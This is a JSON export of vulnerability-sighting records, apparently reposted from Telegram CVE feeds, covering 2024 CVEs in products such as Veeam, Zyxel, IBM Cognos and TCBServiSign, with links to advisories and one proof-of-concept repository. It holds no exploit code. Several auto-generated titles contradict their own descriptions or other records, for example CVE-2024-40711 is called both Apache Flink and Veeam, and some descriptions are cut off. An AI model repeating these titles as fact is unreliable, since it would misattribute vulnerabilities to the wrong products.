"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/3786", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "39d5e156-0b89-4fd8-a593-3db1f8117399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40703", "type": "seen", "source": "https://t.me/cvedetector/6159", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40703 - IBM Cognos Analytics Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40703 \nPublished : Sept. 22, 2024, 1:15 p.m. | 36\u00a0minutes ago \nDescription : IBM Cognos Analytics 11.2.0, 11.2.1, 11.2.2, 11.2.3, 11.2.4, 12.0.0, 12.0.1, 12.0.2, 12.0.3, and IBM Cognos Analytics Reports for iOS 11.0.0.7 could allow a local attacker to obtain sensitive information in the form of an API key.  An attacker could use this information to launch further attacks against affected applications. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-22T16:04:12.000000Z"}, {"uuid": "768a4263-a947-4a76-b2b2-29e7a25b8ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40125", "type": "seen", "source": "https://t.me/cvedetector/6073", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40125 - Closed-Loop Technology CLESS Server Remote Code Execution (RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-40125 \nPublished : Sept. 19, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the Media Manager function of Closed-Loop Technology CLESS Server v4.5.2 allows attackers to execute arbitrary code via uploading a crafted PHP file to the upload endpoint. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-19T22:00:47.000000Z"}, {"uuid": "b3e2ff67-d171-4045-af60-c045e1afb77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "https://t.me/cvedetector/4946", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40865 - VisionOS Persona Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40865 \nPublished : Sept. 6, 2024, 2:15 a.m. | 30\u00a0minutes ago \nDescription : The issue was addressed by suspending Persona when the virtual keyboard is active. This issue is fixed in visionOS 1.3. Inputs to the virtual keyboard may be inferred from Persona. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-06T04:54:18.000000Z"}, {"uuid": "b18bdf38-a54d-49d4-bfab-7f0c4314420d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40681", "type": "seen", "source": "https://t.me/cvedetector/5027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40681 - IBM MQ Operator Bypass Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40681 \nPublished : Sept. 7, 2024, 3:15 p.m. | 19\u00a0minutes ago \nDescription : IBM MQ Operator 2.0.26 and 3.2.4 could allow an authenticated user in a specifically defined role, to bypass security restrictions and execute actions against the queue manager. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T17:40:15.000000Z"}, {"uuid": "5eec5662-1155-45a1-b084-976f0c634066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40883", "type": "seen", "source": "https://jvn.jp/en/jp/JVN06672778", "content": "", "creation_timestamp": "2026-05-11T22:15:30.000000Z"}, {"uuid": "72c01e52-edc8-4018-8202-c198533073ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40710", "type": "seen", "source": "https://t.me/cvedetector/5048", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40710 - Veeam Backup & Replication Account privileges escalation and Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-40710 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A series of related high-severity vulnerabilities, the most notable enabling remote code execution (RCE) as the service account and extraction of sensitive information (savedcredentials and passwords). Exploiting these vulnerabilities requires a user who has been assigned a low-privileged role within Veeam Backup & Replication. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:11:01.000000Z"}, {"uuid": "6d0a61d7-e330-4dd4-893c-b76e77ea7498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40754", "type": "seen", "source": "https://t.me/cvedetector/5226", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40754 - Samsung Escargot JavaScript Engine Heap-based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40754 \nPublished : Sept. 10, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : Heap-based Buffer Overflow vulnerability in Samsung Open Source Escargot JavaScript engine allows Overflow Buffers.This issue affects Escargot: 4.0.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-10T14:14:21.000000Z"}, {"uuid": "1e494693-44fb-4c68-8113-b01b57179309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40643", "type": "seen", "source": "https://t.me/cvedetector/5109", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40643 - Joplin Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40643 \nPublished : Sept. 9, 2024, 3:15 p.m. | 37\u00a0minutes ago \nDescription : Joplin is a free, open source note taking and to-do application. Joplin fails to take into account that \" Severity: 9.6 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-09T18:09:32.000000Z"}, {"uuid": "e7199ab9-53ad-4aef-abe1-798e65e4b816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40718", "type": "seen", "source": "https://t.me/cvedetector/5045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40718 - Apache HTTP Server SSRF Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-40718 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A server side request forgery vulnerability allows a low-privileged user to perform local privilege escalation through exploiting an SSRF vulnerability. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:10:56.000000Z"}, {"uuid": "dd094d1f-3e26-42f6-b79d-42bc060572d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40714", "type": "seen", "source": "https://t.me/cvedetector/5044", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40714 - Apache Web Server SSL/TLS Certificate Validation Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-40714 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : An improper certificate validation vulnerability in TLS certificate validation allows an attacker on the same network to intercept sensitive credentials during restore operations. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:10:55.000000Z"}, {"uuid": "4ba1e575-aad7-48eb-bf8b-14a7da075853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/cvedetector/5042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40711 - Apache Flink RCE Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40711 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A deserialization of untrusted data vulnerability with a malicious payload can allow an unauthenticated remote code execution (RCE). \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:10:53.000000Z"}, {"uuid": "6a410f5d-6030-44cf-95b2-557eb67a2eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40713", "type": "seen", "source": "https://t.me/cvedetector/5047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40713 - Veeam Backup & Replication Privileged Access Bypass via MFA Settings Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-40713 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A vulnerability that allows a user who has been assigned a low-privileged role within Veeam Backup & Replication to alter Multi-Factor Authentication (MFA) settings and bypass MFA. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:11:00.000000Z"}, {"uuid": "91b83e53-1a8a-49ce-9d7d-375aee7209ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40712", "type": "seen", "source": "https://t.me/cvedetector/5046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40712 - Adobe Flash Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40712 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A path traversal vulnerability allows an attacker with a low-privileged account and local access to the system to perform local privilege escalation (LPE). \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:10:57.000000Z"}, {"uuid": "a7a0038b-9aaf-4854-8868-ce16a41fa6a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40709", "type": "seen", "source": "https://t.me/cvedetector/5054", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40709 - CloudLinux Privilege Escalation Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40709 \nPublished : Sept. 7, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : A missing authorization vulnerability allows a local low-privileged user on the machine to escalate their privileges to root level. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T20:11:09.000000Z"}, {"uuid": "6b1f1ac5-02c5-4280-a411-d7f76824b5d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40886", "type": "seen", "source": "https://t.me/cvedetector/3900", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40886 - Mattermost CSRF Client-Side Path Traversal\", \n  \"Content\": \"CVE ID : CVE-2024-40886 \nPublished : Aug. 22, 2024, 7:15 a.m. | 41\u00a0minutes ago \nDescription : Mattermost versions 9.9.x Severity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-22T10:10:51.000000Z"}, {"uuid": "d8443818-5bfb-462e-8398-46b152e945b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/cvedetector/3978", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40766 - SonicWall Firewall Improper Access Control Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-40766 \nPublished : Aug. 23, 2024, 7:15 a.m. | 16\u00a0minutes ago \nDescription : An improper access control vulnerability has been identified in the SonicWall SonicOS management access, potentially leading to unauthorized resource access and in specific conditions, causing the firewall to crash. This issue affects SonicWall Firewall Gen 5 and Gen 6 devices, as well as Gen 7 devices running SonicOS 7.0.1-5035 and older versions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T09:36:13.000000Z"}, {"uuid": "7984cc90-5c0f-45b0-8a5a-926212d328b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40453", "type": "seen", "source": "https://t.me/cvedetector/3802", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40453 - Squirrellyjs SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40453 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : squirrellyjs squirrelly v9.0.0 and fixed in v.9.0.1 was discovered to contain a code injection vulnerability via the component options.varName. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:40.000000Z"}, {"uuid": "b6478531-d78d-4dc1-8057-58ccd389376b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40743", "type": "seen", "source": "https://t.me/cvedetector/3666", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40743 - Apache Struts Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40743 \nPublished : Aug. 20, 2024, 4:15 p.m. | 33\u00a0minutes ago \nDescription : The stripImages and stripIframes methods didn't properly process inputs, leading to XSS vectors. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T18:48:50.000000Z"}, {"uuid": "6820edcf-ae37-4b26-bc0d-1986cb2c9aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/cibsecurity/82355", "content": "\ud83d\udd8b\ufe0f Zyxel CPE Devices Face Active Exploitation Due to Unpatched CVE-2024-40891 Vulnerability \ud83d\udd8b\ufe0f\n\nCybersecurity researchers are warning that a critical zeroday vulnerability impacting Zyxel CPE Series devices is seeing active exploitation attempts in the wild. \"Attackers can leverage this vulnerability to execute arbitrary commands on affected devices, leading to complete system compromise, data exfiltration, or network infiltration,\" GreyNoise researcher Glenn Thorpe said in an alert.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2025-01-29T07:00:23.000000Z"}, {"uuid": "1039650f-dfc4-4b23-b857-90c1b687fbbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40530", "type": "seen", "source": "https://t.me/cvedetector/2473", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40530 - UAB Lexita PanteraCRM CMS/Patera CRM CMS Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40530 \nPublished : Aug. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : Insecure Permissions vulnerability in UAB Lexita PanteraCRM CMS v.401.152 and Patera CRM CMS v.402.072 allows a remote attacker to execute arbitrary code via modification of the X-Forwarded-For header component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:55:57.000000Z"}, {"uuid": "f3ee2b21-9dab-4136-9f80-855c21567d7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40531", "type": "seen", "source": "https://t.me/cvedetector/2472", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40531 - UAB Lexita PanteraCRM CMS Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40531 \nPublished : Aug. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : An issue in UAB Lexita PanteraCRM CMS v.401.152 and Patera CRM CMS v.402.072 allows a remote attacker to escalate privileges via the user profile management function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:55:56.000000Z"}, {"uuid": "e7ce5059-9b65-435f-99ce-b43974fd4a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40498", "type": "seen", "source": "https://t.me/cvedetector/2479", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40498 - PuneethReddyHC Online Shopping System SQL Injection Heap\", \n  \"Content\": \"CVE ID : CVE-2024-40498 \nPublished : Aug. 5, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : SQL Injection vulnerability in PuneethReddyHC Online Shopping sysstem advanced v.1.0 allows an attacker to execute arbitrary code via the register.php \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T19:46:04.000000Z"}, {"uuid": "38ef52ec-bec8-4a93-9e11-eefa775aad16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40096", "type": "seen", "source": "https://t.me/cvedetector/2441", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40096 - Cascadialabs Who SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40096 \nPublished : Aug. 5, 2024, 10:15 a.m. | 40\u00a0minutes ago \nDescription : The com.cascadialabs.who (aka Who - Caller ID, Spam Block) application 15.0 for Android places sensitive information in the system log. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T13:04:15.000000Z"}, {"uuid": "25a0e822-c495-448f-9fb3-aaf98b1d3ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40722", "type": "seen", "source": "https://t.me/cvedetector/2343", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40722 - CHANGING Information Technology TCBServiSign Windows Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40722 \nPublished : Aug. 2, 2024, 11:16 a.m. | 38\u00a0minutes ago \nDescription : The specific API in TCBServiSign Windows Version from CHANGING Information Technology does does not properly validate the length of server-side input. When a user visits a spoofed website, unauthenticated remote attackers can cause a stack-based buffer overflow in the TCBServiSign, temporarily disrupting its service. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T14:01:17.000000Z"}, {"uuid": "7f06649e-4e3f-4d91-b158-9091c27f55db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/CyberBulletin/2266", "content": "\u26a1Zyxel Routers Under Attack: Default Credentials (CVE-2025-0890) and Code Injection (CVE-2024-40891), No Patch!\n\n#CyberBulletin", "creation_timestamp": "2025-02-06T12:53:05.000000Z"}, {"uuid": "acf12070-8564-41d2-97cf-9db1bb2a8b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40719", "type": "seen", "source": "https://t.me/cvedetector/2338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40719 - CHANGING TCBServiSign SSL/TLS Man-in-the-Middle Attack\", \n  \"Content\": \"CVE ID : CVE-2024-40719 \nPublished : Aug. 2, 2024, 10:16 a.m. | 36\u00a0minutes ago \nDescription : The encryption strength of the authorization keys in CHANGING Information Technology TCBServiSign Windows Version is insufficient. When a remote attacker tricks a victim into visiting a malicious website, TCBServiSign will treat that website as a legitimate server and interact with it. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T13:11:05.000000Z"}, {"uuid": "89511827-cbff-4bc5-a5ce-36a4a1ce665c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40720", "type": "seen", "source": "https://t.me/cvedetector/2350", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40720 - TCBServiSign Windows Vulnerability (Remote Command Execution)\", \n  \"Content\": \"CVE ID : CVE-2024-40720 \nPublished : Aug. 2, 2024, 11:16 a.m. | 38\u00a0minutes ago \nDescription : The specific API in TCBServiSign Windows Version from CHANGING Information Technology does not properly validate server-side input. When a user visits a spoofed website, unauthenticated remote attackers can modify the `HKEY_CURRENT_USER` registry to execute arbitrary commands. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T14:01:24.000000Z"}, {"uuid": "5f30b544-2696-48e3-b0ca-99878dd6a9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40721", "type": "seen", "source": "https://t.me/cvedetector/2347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40721 - TCBServiSign DLL Loading Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40721 \nPublished : Aug. 2, 2024, 11:16 a.m. | 38\u00a0minutes ago \nDescription : The specific API in TCBServiSign Windows Version from CHANGING Information Technology does not properly validate server-side input. When a user visits a spoofed website, unauthenticated remote attackers can cause the TCBServiSign to load a DLL from an arbitrary path. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T14:01:21.000000Z"}, {"uuid": "57fa8a15-58b6-49bf-bc51-83f7fface71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40723", "type": "seen", "source": "https://t.me/cvedetector/2346", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40723 - CHANGING HWATAIServiSign Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40723 \nPublished : Aug. 2, 2024, 11:16 a.m. | 38\u00a0minutes ago \nDescription : The specific API in HWATAIServiSign Windows Version from CHANGING Information Technology does not properly validate the length of server-side inputs. When a user visits a spoofed website, unauthenticated remote attackers can cause a stack-based buffer overflow in the HWATAIServiSign, temporarily disrupting its service. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T14:01:20.000000Z"}, {"uuid": "482cbc75-afa2-44ef-83ae-c3fe1fb61193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/1157", "content": "\u26a1\ufe0fFog & Akira Ransomware Exploit Critical Veeam RCE Flaw CVE-2024-40711 After PoC Release.\n\n#CyberBulletin", "creation_timestamp": "2024-10-11T06:15:40.000000Z"}, {"uuid": "45ec33d7-cd84-4194-bee2-4ba50459670e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 